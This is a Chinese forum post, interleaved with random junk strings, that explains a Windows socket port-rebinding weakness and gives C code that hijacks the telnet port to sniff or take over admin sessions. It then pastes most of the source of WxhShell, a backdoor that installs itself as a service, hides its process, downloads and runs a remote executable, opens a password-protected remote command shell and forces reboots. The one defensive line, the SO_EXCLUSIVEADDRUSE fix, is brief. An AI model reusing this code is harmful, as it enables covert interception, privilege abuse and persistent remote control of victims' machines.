社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17530阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >P<'L4;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qEZ!2R^`G  
me:iQ.g  
  saddr.sin_family = AF_INET; 4dD2{M  
h"r!q[MN o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @<a|  
M|H 2kvl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  pr/'J!{^  
K'V 2FTJI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cl_T F[n?  
a MsJO*;>  
  这意味着什么?意味着可以进行如下的攻击: x%pRDytA  
,WGc7NN`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %0zS  
'gCZ'edM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~5T$8^K  
']h IfOD"r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sjn:O'  
a5 bPEJ=I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Cdmy.gx^  
:]-$dEu&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KGD'mByt"  
w,/6B&|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mqw 84u  
\C7q4p?8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C bQ4Y  
) $J7sa  
  #include W"t"X ~T3  
  #include \?d TH:v/E  
  #include nd.hHQ  
  #include    7 OWsHlU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   # M>wH`Q#  
  int main() +|0 t  
  { >: $"a  
  WORD wVersionRequested; x;(g  
  DWORD ret; lC4PKm no  
  WSADATA wsaData; *Dc@CmBr  
  BOOL val; YD9!=a$  
  SOCKADDR_IN saddr; X.eB ;w/}  
  SOCKADDR_IN scaddr; e5 3,Rqi)@  
  int err; TRy^hr8~  
  SOCKET s; Fpf><Rn  
  SOCKET sc; G AEZY  
  int caddsize; {Zl4C;c  
  HANDLE mt; 1]Lh'.1^  
  DWORD tid;   P7UJ-2%Y+  
  wVersionRequested = MAKEWORD( 2, 2 ); R>HY:-2  
  err = WSAStartup( wVersionRequested, &wsaData ); }1@E"6kF  
  if ( err != 0 ) { f"P$f8$  
  printf("error!WSAStartup failed!\n"); _A3X6  
  return -1; U=DEV7E  
  } Zw24f1iY  
  saddr.sin_family = AF_INET; 6n,xH!7  
   Yv=g^tw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 * :S~C  
`2e_ L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 32^#RlSu8  
  saddr.sin_port = htons(23); x_W3sS]ej  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N<n8'XDdG  
  { 4 4`WYK l  
  printf("error!socket failed!\n"); |]tZ hI"3<  
  return -1; XWXr0>!,?  
  } y!5:dvt  
  val = TRUE; $L\@da?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TzY *;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KSsWjF}d  
  { w5(yCyNp~  
  printf("error!setsockopt failed!\n"); ]5)"gL%H`  
  return -1; .<.#aY;N  
  } lRH0)5`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Bq{ ]Eh0%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,5. <oDH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |*fNH(8&H  
7 Kjj?~RA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %"+4 D,'l  
  { yzg9I  
  ret=GetLastError(); /GN4I!LA  
  printf("error!bind failed!\n"); +o u Y  
  return -1; Km"&mT $  
  } {G%3*=?,j  
  listen(s,2); \HD-vINV;  
  while(1) N%*9&FjrL  
  { +4HlRGH  
  caddsize = sizeof(scaddr); Khap9a_q-  
  //接受连接请求 dQK`sLChv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O{u[+g  
  if(sc!=INVALID_SOCKET) 5zVQ;;9  
  { .l=p[BI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j/' g$  
  if(mt==NULL) s>r ^r%uK  
  { QoWR@u6a  
  printf("Thread Creat Failed!\n"); )mG0g@qOK  
  break; )ji@k(x27q  
  } 6Hl < ,(vn  
  } OEI3eizgH  
  CloseHandle(mt); XR+rT  
  } 9t0Cj/w}  
  closesocket(s); Wp`C:H  
  WSACleanup(); 3C#RjA-2[  
  return 0; zb?kpd}r  
  }   2NYi-@mr  
  DWORD WINAPI ClientThread(LPVOID lpParam) "qE {a>d  
  { 3(o7co-f  
  SOCKET ss = (SOCKET)lpParam; %ZiK[e3G  
  SOCKET sc; Q.1XP  
  unsigned char buf[4096]; E|{m"RUOy  
  SOCKADDR_IN saddr; ^}@`!ON  
  long num; U3+A MVnB  
  DWORD val; m3luhGn  
  DWORD ret; AA2ui%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y{92Lym  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,jTPg/r  
  saddr.sin_family = AF_INET; }_]As}E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #fN/LO  
  saddr.sin_port = htons(23); L^)qe^%3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  C/  
  { *_#&"(P  
  printf("error!socket failed!\n"); zWtj|%ts  
  return -1; /`}6rXnw9  
  } mYzcVhV  
  val = 100; o6|"J%9GX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ng 9NE8F  
  { qh H+m  
  ret = GetLastError(); c&b/Joi7@  
  return -1; &urb!tQ>&  
  } gW}}5Xq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eVrNYa1>H  
  { A6Q c;v+  
  ret = GetLastError(); JSRg?p\  
  return -1; H>Ks6V)RL4  
  } 80HEAv,O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \6i 9q=  
  { cCk1'D|X[e  
  printf("error!socket connect failed!\n"); pagC(F  
  closesocket(sc); 8:<1|]]  
  closesocket(ss); A]#_"fayo  
  return -1; c8q G\\t[  
  } F'XlJ M  
  while(1)  tI'e ctn  
  { xY+A]Up|w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /3s@6Ex}E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pJn>oGeJ&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @BXaA0F4  
  num = recv(ss,buf,4096,0); Kn. iyR  
  if(num>0) ?`"<DH~:0B  
  send(sc,buf,num,0); Bu' :2"7  
  else if(num==0) TG?fUD V  
  break; pj+tjF6Np  
  num = recv(sc,buf,4096,0); 4L!e=>as"1  
  if(num>0) [d\#[l_  
  send(ss,buf,num,0); }^Z< dbt  
  else if(num==0) t:disL& !E  
  break; 6kC)\ uy  
  } gsi<S6DQ8  
  closesocket(ss); A>5S]  
  closesocket(sc); ;2BPPZ  
  return 0 ; a0 qj[+  
  } /CbkqNV  
Q6xgLx[  
;=#qHo9k1%  
========================================================== [|jIC  
.N&QW `  
下边附上一个代码,,WXhSHELL bu;vpNa  
]Px:d+wX:  
========================================================== ~O8] 3+U  
y^ 3,X_0  
#include "stdafx.h" N*? WUn9]  
CO7CNN  
#include <stdio.h> )|Jr|8  
#include <string.h> :ECw \_"0$  
#include <windows.h> (Y&R0jt  
#include <winsock2.h> |O2|`"7  
#include <winsvc.h> N0=b[%g;n  
#include <urlmon.h> ?fm2qrV@fp  
V` U/'N-ay  
#pragma comment (lib, "Ws2_32.lib") ;B(;2.<"J  
#pragma comment (lib, "urlmon.lib") E#m76]vkCU  
H_v/}DEG  
#define MAX_USER   100 // 最大客户端连接数 gr[D!D >  
#define BUF_SOCK   200 // sock buffer k#BU7Exij  
#define KEY_BUFF   255 // 输入 buffer (]o FB$  
Af$0 o=".  
#define REBOOT     0   // 重启 ?! !;XW  
#define SHUTDOWN   1   // 关机 x>'?IJZ  
oK%K+h  
#define DEF_PORT   5000 // 监听端口 #xDDh`  
+38Lojb}   
#define REG_LEN     16   // 注册表键长度 Sv~PXi^`H  
#define SVC_LEN     80   // NT服务名长度 4D0(Fl  
?|\0)wrRf  
// 从dll定义API WReYF+Uen  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 65 NWX8f}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9[B<rz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E\W;:p,{A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >I{4  
P^i6MZ?   
// wxhshell配置信息 uV/)Gb*j  
struct WSCFG { PsacXZNs\N  
  int ws_port;         // 监听端口 NWaI[P  
  char ws_passstr[REG_LEN]; // 口令 }kpfJLjY  
  int ws_autoins;       // 安装标记, 1=yes 0=no }x>}:"P;W  
  char ws_regname[REG_LEN]; // 注册表键名 bwv/{3G,Ys  
  char ws_svcname[REG_LEN]; // 服务名 vr5<LNCLQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (8+.#1!*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hrUm} @d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 # r2$ZCo3o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m/SJ4op$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,%& LG],6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Aigcq38  
\ >&@lA  
}; V7qCbd^>XJ  
1v+JCOy  
// default Wxhshell configuration qQ3 ]E][/  
struct WSCFG wscfg={DEF_PORT, g9RzzE!  
    "xuhuanlingzhe", Djg 1Qh  
    1, ,K"r:)\  
    "Wxhshell", {b\Y?t^>f  
    "Wxhshell", P TfN+  
            "WxhShell Service", e<&_tx   
    "Wrsky Windows CmdShell Service", ? Yynd  
    "Please Input Your Password: ", /r #b  
  1, U0lqGEZ  
  "http://www.wrsky.com/wxhshell.exe", f]O5V$!RuE  
  "Wxhshell.exe" Te{aB"B  
    }; ^R&_}bp  
<T4 7kLI  
// 消息定义模块 1mvu3}ewx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w-{#6/<kI5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /@xr[=L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AIIBd  
char *msg_ws_ext="\n\rExit."; "H/2r]?GT  
char *msg_ws_end="\n\rQuit."; D~[ N_  
char *msg_ws_boot="\n\rReboot..."; |:J*>"sq  
char *msg_ws_poff="\n\rShutdown..."; <ls i.x\y<  
char *msg_ws_down="\n\rSave to "; rF <iWM=  
6z%&A]6k:  
char *msg_ws_err="\n\rErr!"; N?Z+zN&P  
char *msg_ws_ok="\n\rOK!"; G~Q*:m  
81%qM7v9H  
char ExeFile[MAX_PATH]; WHdqO8  
int nUser = 0; +?J_6Mo@X  
HANDLE handles[MAX_USER]; ,4h! "c  
int OsIsNt; 8VBkIYgb  
v)v{QNQp^  
SERVICE_STATUS       serviceStatus; a!SR"3 k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KBUAdpU8  
83p$!8]u  
// 函数声明 *;V2_fWJ@  
int Install(void); K{`2jK#  
int Uninstall(void); S]#=ES'^/  
int DownloadFile(char *sURL, SOCKET wsh); ;'Z,[a  
int Boot(int flag); Q9Xm b2LN  
void HideProc(void); ]e#,\})Br  
int GetOsVer(void); \6nQ-S_  
int Wxhshell(SOCKET wsl); wnZ*k(  
void TalkWithClient(void *cs); Z]1z*dv  
int CmdShell(SOCKET sock); A1=$kzw{UH  
int StartFromService(void); [xp~@5r'  
int StartWxhshell(LPSTR lpCmdLine); &j wnM  
~]i]kU   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iYmzk?U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V}Y~z)i0  
'w |s*5  
// 数据结构和表定义 .aAw7LW  
SERVICE_TABLE_ENTRY DispatchTable[] = "=v J }  
{ S|=rF<]my  
{wscfg.ws_svcname, NTServiceMain}, f(9$"Vi  
{NULL, NULL} gzJ{Gau{)  
}; 7kWZMi  
" N`V*0h  
// 自我安装 %3@RZe  
int Install(void) >k&lGF<nl  
{ eW }jS/g`  
  char svExeFile[MAX_PATH]; s K$Sar  
  HKEY key; D3ZT''  
  strcpy(svExeFile,ExeFile); iX9[Q0g=oQ  
"cz]bCr8  
// 如果是win9x系统,修改注册表设为自启动 gP_d >p:b  
if(!OsIsNt) { s/p>30Fg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9b=^"K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )oz-<zW  
  RegCloseKey(key); e5:l6`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =O}%bZ)Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ! A ydhe  
  RegCloseKey(key); B2Awdw3=g  
  return 0; MIMPJXT#.  
    } /n<Ncf  
  } ?-6x]l=]  
} O}\"$n>  
else { jW+VUF-t  
pN^G[  
// 如果是NT以上系统,安装为系统服务 aGzdur  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U mx  
if (schSCManager!=0) Z({`9+/>u  
{ m= beB\=  
  SC_HANDLE schService = CreateService 1PT_1[eAR  
  ( A?{aUQB~|  
  schSCManager, ;wYwiSVd  
  wscfg.ws_svcname, .tHv4.ob  
  wscfg.ws_svcdisp, #D*J5k>2  
  SERVICE_ALL_ACCESS, *7D$;?"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uvK%d\d  
  SERVICE_AUTO_START, " :nVigw&  
  SERVICE_ERROR_NORMAL, ;r@R (Squ  
  svExeFile, bU g2Bm!y  
  NULL, \5L4*  
  NULL, %;\2QI`R  
  NULL, `X]2iz  
  NULL, yKk,);  
  NULL G4`sRaT.  
  ); p=P0$P+KM  
  if (schService!=0) iRr& 'k  
  { M6>\R$  
  CloseServiceHandle(schService); HDXjH|of  
  CloseServiceHandle(schSCManager); gV.Pg[[1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4>ce,*B1  
  strcat(svExeFile,wscfg.ws_svcname); b<8J;u<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~6kA<(x   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pQm!Bt L  
  RegCloseKey(key); ]C:Ifh~  
  return 0; %cjGeS6}  
    } KL_}:O68  
  } /n3&e  
  CloseServiceHandle(schSCManager); @snLE?g j  
} x`|tT%q@l  
} ]e3}9.  
uC8T!z  
return 1; pUEok+  
} W&re;?Z{ke  
 Vgb>3]SU  
// 自我卸载 X72X:"  
int Uninstall(void) 3b/vyZF  
{ DDCQAf  
  HKEY key; vYm& AD  
LkbvA  
if(!OsIsNt) { v}*u[GWl]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N)I T?  
  RegDeleteValue(key,wscfg.ws_regname); "l;8 O2;g  
  RegCloseKey(key); xTawG?"D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >yHnz?bf@  
  RegDeleteValue(key,wscfg.ws_regname); Q1&dB{L  
  RegCloseKey(key); B+H9c~3$  
  return 0; r`"#c7)  
  } /WgWe  
} '!L1z45  
} xwp?2,<  
else { WatLAn+  
5 nIlG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qO3BQ]UF  
if (schSCManager!=0) ^E?V+3mV  
{ .Qw@H#dtW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %[CM;|?B4  
  if (schService!=0) {EHG |  
  { =X'7V}Q}  
  if(DeleteService(schService)!=0) { G+^$JN=  
  CloseServiceHandle(schService); A =#-u&l  
  CloseServiceHandle(schSCManager); hBSJEP  
  return 0; scEQDV  
  } 4W-+k  
  CloseServiceHandle(schService); 1E_Ui1[  
  } g~D6.OZU  
  CloseServiceHandle(schSCManager); Nn7@+g)  
} y8n1IZ*#SZ  
} TFA  
]TprPU39  
return 1; ^ nZ2p$  
} ~TR|Pv  
{hP&P  
// 从指定url下载文件 U jzz`!mz  
int DownloadFile(char *sURL, SOCKET wsh) ? Z fhz   
{ q;~>h  
  HRESULT hr; +( (31l  
char seps[]= "/"; :%oj'm44!  
char *token; VIdoT2  
char *file; \k-juF80  
char myURL[MAX_PATH]; 5VoiDM=\c  
char myFILE[MAX_PATH]; x`l; ;  
w:+#,,rwzV  
strcpy(myURL,sURL); Bzt`9lg  
  token=strtok(myURL,seps); [t) i\ }V  
  while(token!=NULL) fzG1<Gem  
  { oT{yttSNo  
    file=token; 9yAu<a  
  token=strtok(NULL,seps); 1Sk6[h'CL  
  } Z*3}L  
0! %}  
GetCurrentDirectory(MAX_PATH,myFILE); 80>!qG  
strcat(myFILE, "\\"); {S(T1ua  
strcat(myFILE, file); $s!meg@s  
  send(wsh,myFILE,strlen(myFILE),0); 7V``f:#d  
send(wsh,"...",3,0); FQ1oqqr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *lF%8k"Al  
  if(hr==S_OK) .g?,:$`0D?  
return 0; !_!b \  
else C P v}A  
return 1; o@;_(knb  
oF^hq-xcP  
} ,lM2BXz%  
cBf{R^>Fd  
// 系统电源模块 c)fp;^  
int Boot(int flag) 8{ t&8Ql n  
{ 6^u(PzlA|~  
  HANDLE hToken; J :(\o=5 5  
  TOKEN_PRIVILEGES tkp; FWN%JCOj@  
<ft9B05*  
  if(OsIsNt) { [&V%rhi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S6X<3L`FfH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rx-i.EtZ  
    tkp.PrivilegeCount = 1; zD-8#H35X"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +N_%|!F-c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'A2"&6m)28  
if(flag==REBOOT) { _8`;Xgp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VbR.tz  
  return 0; 0+i,,^x.  
} 1 to<at-NN  
else { 5~0;R`D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EBLoRW=8ld  
  return 0; ;mlIWn  
} ]~ UkD*Ct  
  } ~C x2Q4E  
  else { k<qH<<r*  
if(flag==REBOOT) { .CpO+z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l/NK.Jr  
  return 0; XS/TYdXB8  
} s$6#3%h  
else { |_m;@.44?U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ka{Zoi]  
  return 0; 5Oq;V: 7  
} o-= lHtR  
} >FNt*tX<0  
}iAi`_\0;  
return 1; ~T9[\nU\  
} #9Z-Hd<  
&nP rozC  
// win9x进程隐藏模块 >YhqL62!a  
void HideProc(void) .#|pje^  
{ wv-8\)oA  
UkV] F]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `<d>C}9  
  if ( hKernel != NULL ) hBu =40K  
  { KW<CU'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Um<vsR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -Ma"V  
    FreeLibrary(hKernel); rgY~8PY"  
  } V.1sZYA9  
FU3B;Fn^Z(  
return; xd@DN;e  
} p.|; k%c7  
l?[DO?m+R  
// 获取操作系统版本 _3S{n=9  
int GetOsVer(void) cpVi9]  
{ FoQk  
  OSVERSIONINFO winfo; lR!$+atW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *Rd&4XG  
  GetVersionEx(&winfo); ,L G&sa"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) swrd  
  return 1; M-gjS6c\3  
  else 8>9+w/DL  
  return 0; u'p J 9>sC  
} X;NTz75  
%Z4=3?5B"9  
// 客户端句柄模块 V^i3:'  
int Wxhshell(SOCKET wsl) T\>=o]  
{ ./'n2$^3  
  SOCKET wsh; !TF VBK  
  struct sockaddr_in client; L')zuI  
  DWORD myID; <9~qAq7^  
aJ5R0Y,  
  while(nUser<MAX_USER) %ZK}y{u\  
{ t/g}cR^Q  
  int nSize=sizeof(client); (1^(V)@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |*$_eb  
  if(wsh==INVALID_SOCKET) return 1; n6f|,D!?  
Y<v55m-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -E7\ .K3  
if(handles[nUser]==0) 25L{bcng  
  closesocket(wsh); lLhCk>a  
else |.A>0-']M  
  nUser++; `upNP/,  
  } k s}o9[D3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 51vK>  
5hAg*zJb5o  
  return 0; PR+!CFi&  
} )-@EUN0E>5  
*)<tyIHd  
// 关闭 socket ]O."M"B  
void CloseIt(SOCKET wsh) kokkZd7!  
{ Ou^dI  
closesocket(wsh); & \m\QI  
nUser--; v|GvN|_|  
ExitThread(0); QVpZA,  
} ]Gr'Bt/  
_$0Ix6y,  
// 客户端请求句柄 t>xV]W<  
void TalkWithClient(void *cs) iYf4 /1IG,  
{ }W<L;yD  
uOQ5.S+  
  SOCKET wsh=(SOCKET)cs; ]^y}}y  
  char pwd[SVC_LEN]; &BgaFx**  
  char cmd[KEY_BUFF]; 7@FB^[H:y  
char chr[1]; Ogb_WO;)  
int i,j; 9O"?T7i"#  
A SSoKrFL  
  while (nUser < MAX_USER) { C N"c  
G\Me%{b#  
if(wscfg.ws_passstr) { S%@$J~\rx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IQDWH/ c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |Xag:hof  
  //ZeroMemory(pwd,KEY_BUFF); UTPl7po5D  
      i=0; bA)Xjq)Rr  
  while(i<SVC_LEN) { ^?2txLv,6  
[3.rG!Na  
  // 设置超时  VV  
  fd_set FdRead; NQAnvX;  
  struct timeval TimeOut; ^{w&&+#,q  
  FD_ZERO(&FdRead); MPt7 /  
  FD_SET(wsh,&FdRead); p,Z6/e[SI  
  TimeOut.tv_sec=8; ",}VB8K  
  TimeOut.tv_usec=0; )nY/ RO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /dfZ>k8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }DSz_^  
^ !9b#Ja  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' |Oi#S  
  pwd=chr[0]; k=@Q#=;*[W  
  if(chr[0]==0xd || chr[0]==0xa) { C$bK!]a  
  pwd=0; $?\],T  
  break; J0#% *B  
  } Ur`v*LT}~  
  i++; =9c24j  
    } N(9'U0z  
k2=uP8  
  // 如果是非法用户,关闭 socket mT.F$Y9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B$bsh.  
} h2q]!01XP  
5?b9[o+ D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9K49<u0O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c_iF S  
\c]/4C +/  
while(1) { 1$^{Uma  
8p FSm>  
  ZeroMemory(cmd,KEY_BUFF); R:e:B7O~0  
2d._X$fx7  
      // 自动支持客户端 telnet标准   [ACYd/  
  j=0; G2Apm`/ y  
  while(j<KEY_BUFF) { te|VKYN%}[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e9 NHbq  
  cmd[j]=chr[0]; #_E8>;)k  
  if(chr[0]==0xa || chr[0]==0xd) { 8[DD=[&  
  cmd[j]=0; M;(lc?Rv  
  break; O7.Is88!  
  } C?B7xK  
  j++; pTTif|c  
    } 68y.yX[  
=3"Nn4Z  
  // 下载文件 pK3cg|}  
  if(strstr(cmd,"http://")) { DGU$3w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '~@WJKk  
  if(DownloadFile(cmd,wsh)) yqK82z5U*R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p])km%zB(  
  else '1w<<?vX?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~7ArH9k .  
  } xH=&={  
  else { B4.hJZ5  
d1,azM  
    switch(cmd[0]) { E`i;9e'S  
  "-hgeQX  
  // 帮助 tly:$;K  
  case '?': { u4S3NLG)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dlW w=^  
    break; p?}Rolk7  
  } j#*K[  
  // 安装 +?c&Gazi  
  case 'i': { zYep V  
    if(Install()) T|E;U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EGs z{c[8@  
    else }{lOsZA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B8 2A:t)  
    break; FSM~Rl  
    } ,^+3AT  
  // 卸载 g~cWBr%>  
  case 'r': { %|;^[^7+}t  
    if(Uninstall()) WaH TzIa[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mb&b=&  
    else 89L -k%R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TWn7&,N  
    break; V{"5)Ly?fu  
    } ^|8cS0dK]Q  
  // 显示 wxhshell 所在路径 A.y$.(  
  case 'p': { _|*j8v3  
    char svExeFile[MAX_PATH]; rOcfPLJi0  
    strcpy(svExeFile,"\n\r"); p* ^O 8o  
      strcat(svExeFile,ExeFile); N+r~\[N\9  
        send(wsh,svExeFile,strlen(svExeFile),0); 9oaq%Sf  
    break; H fRxgA@  
    } ]Rw,5\0  
  // 重启 k<:!^_3H  
  case 'b': { `xtN+y F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c`iSe$eS  
    if(Boot(REBOOT)) .D7\Hao  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I($u L@$  
    else { i P/I% D  
    closesocket(wsh); *kDXx&7B$  
    ExitThread(0); 9)=as/o  
    } d>(dSKx  
